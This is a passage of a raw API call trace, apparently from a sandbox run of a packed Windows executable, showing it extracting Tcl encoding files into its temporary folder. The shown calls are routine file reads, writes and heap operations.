"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.661] GetFileType (hFile=0x10c) returned 0x1 [0036.662] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.662] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.662] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.662] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.662] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.662] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.662] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.662] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.662] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.662] CloseHandle (hObject=0x10c) returned 1 [0036.662] GetLastError () returned 0x0 [0036.662] SetLastError (dwErrCode=0x0) [0036.662] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.662] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.662] GetFileType (hFile=0x10c) returned 0x1 [0036.662] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.662] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.662] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.662] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.662] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.662] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.662] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.662] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.662] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.662] CloseHandle (hObject=0x10c) returned 1 [0036.663] GetLastError () returned 0x0 [0036.663] SetLastError (dwErrCode=0x0) [0036.663] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-5.enc") returned 72 [0036.663] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-5.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-5.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.663] GetLastError () returned 0x2 [0036.663] SetLastError (dwErrCode=0x2) [0036.663] GetLastError () returned 0x2 [0036.663] SetLastError (dwErrCode=0x2) [0036.663] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-5.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-5.enc", lpFilePart=0x0) returned 0x47 [0036.663] GetLastError () returned 0x2 [0036.663] SetLastError (dwErrCode=0x2) [0036.663] GetLastError () returned 0x2 [0036.663] SetLastError (dwErrCode=0x2) [0036.663] GetLastError () returned 0x2 [0036.663] SetLastError (dwErrCode=0x2) [0036.663] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-5.enc") returned 72 [0036.663] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.663] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-5.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-5.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.663] GetFileType (hFile=0x10c) returned 0x1 [0036.663] htonl (hostlong=0x46040000) returned 0x446 [0036.663] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.663] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x446, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x446, lpOverlapped=0x0) returned 1 [0036.664] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.664] CloseHandle (hObject=0x10c) returned 1 [0036.665] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550810 | out: hHeap=0x530000) returned 1 [0036.665] htonl (hostlong=0x30000000) returned 0x30 [0036.665] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.665] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.665] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.665] GetFileType (hFile=0x10c) returned 0x1 [0036.665] htonl (hostlong=0xb0775500) returned 0x5577b0 [0036.665] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a27b0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.665] htonl (hostlong=0xd7010000) returned 0x1d7 [0036.665] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1d7) returned 0x550600 [0036.665] htonl (hostlong=0xd7010000) returned 0x1d7 [0036.665] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.666] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.666] htonl (hostlong=0x46040000) returned 0x446 [0036.666] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x446) returned 0x5507e0 [0036.666] htonl (hostlong=0xd7010000) returned 0x1d7 [0036.666] htonl (hostlong=0x46040000) returned 0x446 [0036.666] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.666] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.666] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.666] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.666] CloseHandle (hObject=0x10c) returned 1 [0036.666] GetLastError () returned 0x0 [0036.666] SetLastError (dwErrCode=0x0) [0036.666] GetLastError () returned 0x0 [0036.666] SetLastError (dwErrCode=0x0) [0036.666] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.666] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.666] GetFileType (hFile=0x10c) returned 0x1 [0036.666] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.666] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.666] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.666] CloseHandle (hObject=0x10c) returned 1 [0036.667] GetLastError () returned 0x0 [0036.667] SetLastError (dwErrCode=0x0) [0036.667] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.667] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.667] GetFileType (hFile=0x10c) returned 0x1 [0036.667] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.667] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.667] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.667] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.667] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.667] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.667] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.667] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.667] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.667] CloseHandle (hObject=0x10c) returned 1 [0036.667] GetLastError () returned 0x0 [0036.667] SetLastError (dwErrCode=0x0) [0036.667] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-6.enc") returned 72 [0036.667] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-6.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-6.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.667] GetLastError () returned 0x2 [0036.667] SetLastError (dwErrCode=0x2) [0036.667] GetLastError () returned 0x2 [0036.667] SetLastError (dwErrCode=0x2) [0036.667] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-6.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-6.enc", lpFilePart=0x0) returned 0x47 [0036.667] GetLastError () returned 0x2 [0036.668] SetLastError (dwErrCode=0x2) [0036.668] GetLastError () returned 0x2 [0036.668] SetLastError (dwErrCode=0x2) [0036.668] GetLastError () returned 0x2 [0036.668] SetLastError (dwErrCode=0x2) [0036.668] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-6.enc") returned 72 [0036.668] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.668] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-6.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-6.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.668] GetFileType (hFile=0x10c) returned 0x1 [0036.668] htonl (hostlong=0x46040000) returned 0x446 [0036.668] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.668] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x446, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x446, lpOverlapped=0x0) returned 1 [0036.669] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.669] CloseHandle (hObject=0x10c) returned 1 [0036.670] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5507e0 | out: hHeap=0x530000) returned 1 [0036.670] htonl (hostlong=0x30000000) returned 0x30 [0036.670] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.670] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.670] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.670] GetFileType (hFile=0x10c) returned 0x1 [0036.670] htonl (hostlong=0x87795500) returned 0x557987 [0036.670] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a2987, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.670] htonl (hostlong=0x8020000) returned 0x208 [0036.670] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x208) returned 0x550600 [0036.670] htonl (hostlong=0x8020000) returned 0x208 [0036.670] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.670] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.670] htonl (hostlong=0x46040000) returned 0x446 [0036.670] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x446) returned 0x550810 [0036.670] htonl (hostlong=0x8020000) returned 0x208 [0036.670] htonl (hostlong=0x46040000) returned 0x446 [0036.670] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.670] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.670] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.670] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.670] CloseHandle (hObject=0x10c) returned 1 [0036.671] GetLastError () returned 0x0 [0036.671] SetLastError (dwErrCode=0x0) [0036.671] GetLastError () returned 0x0 [0036.671] SetLastError (dwErrCode=0x0) [0036.671] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.671] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.671] GetFileType (hFile=0x10c) returned 0x1 [0036.671] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.671] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.671] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.671] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.671] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.671] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.671] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.671] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.671] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.671] CloseHandle (hObject=0x10c) returned 1 [0036.671] GetLastError () returned 0x0 [0036.671] SetLastError (dwErrCode=0x0) [0036.671] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.671] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.671] GetFileType (hFile=0x10c) returned 0x1 [0036.671] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.671] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.672] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.672] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.672] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.672] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.672] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.672] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.672] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.672] CloseHandle (hObject=0x10c) returned 1 [0036.672] GetLastError () returned 0x0 [0036.672] SetLastError (dwErrCode=0x0) [0036.672] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-7.enc") returned 72 [0036.672] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-7.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\iso8859-7.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.672] GetLastError () returned 0x2 [0036.672] SetLastError (dwErrCode=0x2) [0036.672] GetLastError () returned 0x2 [0036.672] SetLastError (dwErrCode=0x2) [0036.672] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-7.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-7.enc", lpFilePart=0x0) returned 0x47 [0036.672] GetLastError () returned 0x2 [0036.672] SetLastError (dwErrCode=0x2) [0036.672] GetLastError () returned 0x2 [0036.672] SetLastError (dwErrCode=0x2) [0036.672] GetLastError () returned 0x2 [0036.672] SetLastError (dwErrCode=0x2) [0036.672] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\iso8859-7.enc") returned 72 [0036.672] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 